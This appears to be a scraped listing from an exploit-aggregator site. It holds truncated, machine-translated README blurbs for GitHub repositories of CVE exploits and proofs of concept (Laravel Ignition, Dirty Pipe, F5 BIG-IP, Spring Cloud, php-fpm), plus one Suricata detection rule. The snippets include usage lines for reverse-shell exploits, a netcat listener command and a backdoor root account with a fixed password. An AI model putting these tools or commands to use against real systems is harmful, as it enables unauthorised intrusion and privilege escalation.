CVE-2021-3129_exploit

CVE-2021-3129exploit Exploit für CVE-2021-3129 Laboreinrichtung: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Verwendung: root@kitploit: $ git clone...

CVE-2018-3810_exploit

Questo repository non contiene un README...

CVE-2018-20148_exploit

Dieses Repository hat keine README-Datei...

CVE-2018-12636_exploit

Dieses Repository hat keine README-Datei...

CVE-2023-45878

CVE-2023-45878 Exploit GibbonEdu Gibbon versione 25.0.1 GibbonEdu Gibbon versione 25.0.1 e precedenti GibbonEdu Gibbon versione 25.0.1 e precedenti consente la scrittura arbitraria di file Leggi di più https://nvd.nist.gov/vuln/detail/CVE-2023-45878...

dpipe

dpipe Prova di concetto per l'exploit della vulnerabilità Dirty Pipe CVE-2022-0847...

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation Sfrutta automaticamente i sistemi con davfs2 vulnerabile CVE-2013-4362 A COSA SERVE? Semplicemente due script .sh per semplificare lo sfruttamento di davfs2 con versioni vulnerabili Prerequisiti Almeno uno dei moduli 'fuse' o 'coda' non deve...

CVE-2023-27997-POC

Usage: python3 cve-2022-42475.py rhost rport lhost lport Esempio: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 Disclaimer: Questo progetto è realizzato solo a scopo educativo e di test etico. L'utilizzo di questo strumento per attaccare bersagli senza previo consenso reciproco è...

syscall_exploit_CVE-2018-8897

Questo repository non contiene un README...

suricata-rule-CVE-2025-53770

suricata-rule-CVE-2025-53770 Regole di rilevamento per CVE-2025-53770 root@kitploit: alert http $EXTERNALNET any - $HOMENET any msg: "ET EXPLOIT SharePoint RCE ToolShell CVE-2025-53770"; http.method; content: "GET"; flow: established, toserver; http.uri; pcre:"//layouts/\d+/^?+.aspx/";...

CVE-2024-22274

CVE-2024-22274 Ausführen und Eingabe des Host-IP, Ports, Benutzernamens und Passworts. Der Exploit erstellt den Benutzer NinhPwn mit dem Passwort "NinhPwn123" und startet dann eine SSH mit einer Root-Shell. Korrektur der Python3-Installationspakete: pip install pwinput, pip install paramiko, pip...

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit per RCE in Spring Cloud CVE 2022-22963 Exploit per l'esecuzione remota di comandi CVE-2022-22963 in Spring Cloud Function Vedi i dettagli sulla vulnerabilità qui e qui PoC Esegui netcat sul tuo host: root@kitploit: $ nc -lvnp 9001 Esegui l'exploit esempio con la porta predefinita 9001...

ms09-050-CVE-2009-3103-exploit

Wrapper do Exploit MS09-050 SMBv2 Configuração em uma linha para exploração do MS09-050 CVE-2009-3103. Sem complicação, sem depuração, simplesmente funciona. Por quê? A maioria dos scripts MS09-050 por aí exige injeção manual de shellcode, tem problemas de temporização com handlers, ou simplesmen...

CVE-2022-1388

CVE-2022-1388 PoC para CVE-2022-1388 afetando F5 BIG-IP. Uso root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list...

cve-2019-12735

cve-2019-12735 Immagine Docker che mi permette di studiare lo sfruttamento dell'exploit VIM qui Software interessato Vim 8.1.1365 fino a questa versione, esclusa NeoVim 0.3.6 fino a questa versione, esclusa Installazione root@kitploit: on Host $ make build $ make run $ make attach This brings you...

CVE-2017-8465

CVE-2017-8465 Exploit para CVE-2017-8465...

Exploits-Archives

Dieses Repository hat keine README-Datei...

CVE-2022-23253-PoC

CVE-2022-23253-PoC CVE-2022-23253 PoC...

SecBugs

Bug di sicurezza Divulgazioni complete per ID CVE, prove di concetto, exploit, bug 0day e così via...

phuip-fpizdam

PHuiP-FPizdaM Cos'è Questo è un exploit per un bug in php-fpm CVE-2019-11043. In alcune configurazioni nginx + php-fpm, il bug è possibile da innescare dall'esterno. Questo significa che un utente web potrebbe ottenere l'esecuzione di codice se hai una configurazione vulnerabile vedi sotto. Write...